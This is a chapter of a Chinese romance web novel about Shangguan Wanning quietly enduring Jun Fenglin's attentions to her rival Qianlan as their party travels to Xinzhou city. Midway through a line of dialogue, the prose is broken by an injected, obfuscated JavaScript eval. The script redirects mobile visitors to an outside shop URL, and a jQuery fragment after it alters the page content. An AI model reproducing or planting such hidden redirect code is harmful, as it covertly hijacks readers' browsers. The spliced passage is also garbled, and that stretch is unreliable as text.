上官婉宁看着他抱着千兰离去的背影,心里清楚,君枫林定是生自己的气了。可她依旧面无波澜,神色淡然如初。
眼见君枫林的身影渐渐远去,小若忍不住跺了跺脚,满脸焦急地对上官婉宁道:“小姐!你怎么能让王爷抱她呢!”
上官婉宁拍了拍小若的肩膀,语气平静:“小若,你年纪还小,很多事情你还不懂。不必为我担心。”
李明宇望着上官婉宁的侧脸,轻声道:“宁儿,其实千兰姑娘的心地,倒也不算坏。她之所以这般,不过是因为对枫林动了情意罢了。”
上官婉宁闻言,轻轻颔首,眸光里掠过一丝复杂的情绪。其实她此刻的心情,并非表面那般平静,只是那些汹涌的伤悲,都被她深深藏在了心底。她不想让李明宇和小若察觉,便强压下心头的酸涩,扬起一抹浅淡的笑意:“明宇,时辰还早,我们不如去逛一逛海鲜市场吧?”
李明宇看着她强颜欢笑的模样,心头微微一痛。他望着眼前这个故作坚强的女子,暗自思忖:她是真的打算放弃对枫林的感情了吗?以她的性子,向来眼里揉不得沙子,定然是无法接受枫林与别的女子这般亲近的。可她明明是喜欢枫林的,此刻心里,该有多难过?她为何总是这般,宁愿独自承受所有的苦楚,也不愿示弱分毫?这样的她,真让人心疼。
夜色渐深,烛光摇曳,将李明宇的身影拉得修长。他静立片刻,语气平静却带着几分坚持,开口说道:“枫林,明日我打算亲自送千兰回新洲城。”
君枫林嘴角扬起一抹浅笑,眼中透着些许不解,轻声反问:“这是为何?”
李明宇神色淡然,仿佛早已思虑周详,缓缓解释道:“千兰继续与我们同行,恐怕多有不便。”
君枫林笑意更深,带着几分随性与豁达,朗声说道:“这有什么不方便的?横竖再过两日,我们也要启程前往新洲,何不结伴同行?更何况,兰儿此刻脚上有伤,独自行走多有艰难。”
李明宇目光微凝,语气虽淡,却隐含深意:“枫林,你今日如此关照兰儿,难道就不担心宁儿心中不悦?”
君枫林闻言,不禁回想起上官婉宁在海边时的言辞与神情,仍带着一丝不快说道:“我倒未看出宁儿有丝毫情绪波动。”
李明宇神情转为认真,语重心长地说道:“枫林,你向来心思敏锐,难道真的不明白我话中的意思?”
君枫林面色未改,依然从容,只淡淡回应:“我心中有数。”
李明宇暗自叹息,心道:一个“情”字,真是世间最难解的谜题。再如何聪慧的人,一旦陷于情网,也往往如孩童般迷失理智。
时间终于捱过了三日,彼时,上官婉宁一行人正行在赶往新洲城的漫漫官道上。
这三日里,君枫林待千兰可谓是捧在手心怕摔了,含在嘴里怕化了,百般呵护,无微不至。这般截然不同的态度,让千兰心花怒放,欣喜若狂。纵使她心如明镜,知晓君枫林这般刻意为之,不过是做给上官婉宁看的把戏,可那落在实处的嘘寒问暖、体贴入微,却是半点不假。她实实在在地沉溺在这份突如其来的“疼爱”里,不愿醒来。
而这厢的上官婉宁,面上瞧着却无半分波澜,依旧是往日那般淡然清宁,眉眼间覆着一层疏离的冷意,仿佛周遭的浓情蜜意,都与她毫无干系。可只有她自己清楚,心底那片原本就覆着薄冰的地方,此刻已是冰封千里,寒彻骨髓。只是她素来擅长隐忍,再加上刻意收敛情绪,别说是旁的人,就连日日伴在身侧的君枫林与李明宇,竟也丝毫未曾察觉她心底的翻涌。
唯独小若,一双杏眼时时刻刻都盯着千兰,替自家小姐憋着一肚子的火气。若说眼神能化作利刃取人性命,那千兰怕是早已被小若的目光凌迟了上百遍。
马车车厢内,上官婉宁抬眸,恰好撞见小若又瞪圆了双眼,恶狠狠地剜着对面巧笑倩兮的千兰,她忍不住勾了勾唇角,声音温淡,带着几分打趣:“小若,眼睛瞪得这般大,小心累坏了,到时候就不漂亮了,算不上娇俏的小美人了哟。”
小若脸颊倏地飞上两抹红霞,娇嗔着跺了跺脚:“小姐,你就知道取笑小若!”
上官婉宁轻笑一声,没再多言,只重新拾起膝头的书卷,垂眸静读,车厢内一时又恢复了安静。
千兰见状,柔柔地开口,语气里带着几分刻意的亲近:“上官姑娘果真是腹有诗书的夫子,这几日来,总是见你手不释卷,好一份雅致心性。”
上官婉宁头也未抬,声音清淡无波:“让千兰姑娘见笑了,婉宁不过是闲来无事,偏爱与书为伴罢了。”
千兰心中暗忖,这女子当真古怪得很。君枫林这几日待自己这般亲近,她竟还能如此从容淡定,难不成,她对君枫林根本就无情意?这般想着,她便按捺不住心头的好奇,试探着开口问道:“上官姑娘,听闻你开春之后,便要与枫林喜结连理,可有此事?”
上官婉宁指尖微顿,自然听出了她话里的试探之意,她抬眸望了千兰一眼,语气依旧平淡:“如今看来,怕是要落空了。离开春不过月余光景,而婉宁终究是南园国人。以我这般身世,两国通婚,岂是易事?”
聪慧如千兰,瞬间便听懂了她话里的弦外之音,她掩唇轻笑,追问道:“上官姑娘为何这般轻易便选择放弃?难道是对自己,对你们之间的情意,这般没有信心吗?”
上官婉宁闻言,淡淡挑眉,反问道:“莫非千兰姑娘是想劝我,不该轻言放弃,而是要费尽心力,去极力争取不成?”
千兰心头一紧,暗道若是上官婉宁不肯放手,自己想要夺得君枫林的心,怕是难如登天。她连忙敛起神色,赔笑道:“上官姑娘误会了,千兰只是怕姑娘一时意气用事,日后会后悔罢了。”
“后悔?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125685|196056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”上官婉宁轻轻重复了一遍这两个字,眸光澄澈而坚定,“婉宁素来以为,凡事成败,皆由己定,怨不得旁人。所以,我对自己的每一个抉择,从无半分悔意。”
一旁的小若听得云里雾里,忍不住拽了拽上官婉宁的衣袖,满脸困惑:“小姐,你们说的什么放弃、抉择的,小若怎么一点儿都听不懂啊?”
上官婉宁拍了拍小若的手背,温声道:“没什么要紧的,不过是女子间的几句闲聊罢了。”
千兰将这一切看在眼里,心中更是笃定:这上官婉宁,怕是个眼里揉不得沙子的性子,断断容不得自己的夫君三妻四妾。
她心念一转,再次柔声试探:“上官姑娘这番话,倒是让我瞧出来了,姑娘似乎很是介意男子三妻四妾之事?”
上官婉宁岂会听不出她的言外之意,心底霎时生出几分不耐,不愿再与她周旋。她重新将目光落回书页之上,声音淡得近乎疏离:“千兰姑娘是个聪明人,自然该懂。婉宁之所以有这般想法,不过是因为,我有自己的立身信仰,有自己的人生目标,亦有自己的处世态度与价值准则罢了。”
千兰闻言,霎时怔住了。她怔怔地望着眼前神色淡然的上官婉宁,心中掀起了惊涛骇浪。这个女子,纵无倾国倾城的绝色容颜,可她那份清冷的气度、从容的姿态,还有那字字珠玑的谈吐、独到深刻的见解,皆是那般与众不同,引人侧目。她当真是个奇女子,这般出色,难怪君枫林会对她倾心不已。
小若见千兰盯着自家小姐出神,顿时不满地皱起了眉,没好气地开口:“千兰小姐,你这般盯着我家小姐看,是何居心?”
千兰回过神来,敛去眼底的复杂心绪,沉默了片刻。心底却是五味杂陈:她深爱君枫林,自五年前惊鸿一瞥,便芳心暗许,多年来守身如玉,只为等他垂眸。纵使他身边红颜无数,她亦坚信,自己在他心中,定是与众不同的那一个。可如今,对上这样的上官婉宁,纵使自己有着沉鱼落雁的容貌,与之相比,竟也显得那般黯然失色。
可她实在不甘心,只要君枫林一日未曾成亲,她便一日不会放手。哪怕他心中无我,只要能日日伴在他身侧,能得他这几日般的温存,于她而言,便已是足够。思及此,千兰抬眸,目光坚定地看向上官婉宁:“上官姑娘,我千兰,绝不会放弃任何机会。”
上官婉宁听了这话,心中倒是生出几分佩服。这般敢爱敢恨、拿得起放得下的女子,倒是比那些扭捏作态的闺阁小姐,多了几分魄力。她抬眸看向千兰,语气里添了几分真诚:“如此,婉宁便真心祝愿千兰姑娘,得偿所愿。”
又行了数个时辰,马车终是缓缓驶入了新洲城的城门。入了城,便是另一番光景,街道上车水马龙,人声鼎沸,一派繁华热闹之景。上官婉宁轻轻掀开马车的窗帘,望着窗外熙熙攘攘的人群,淡淡出声:“车夫,麻烦停下马车。”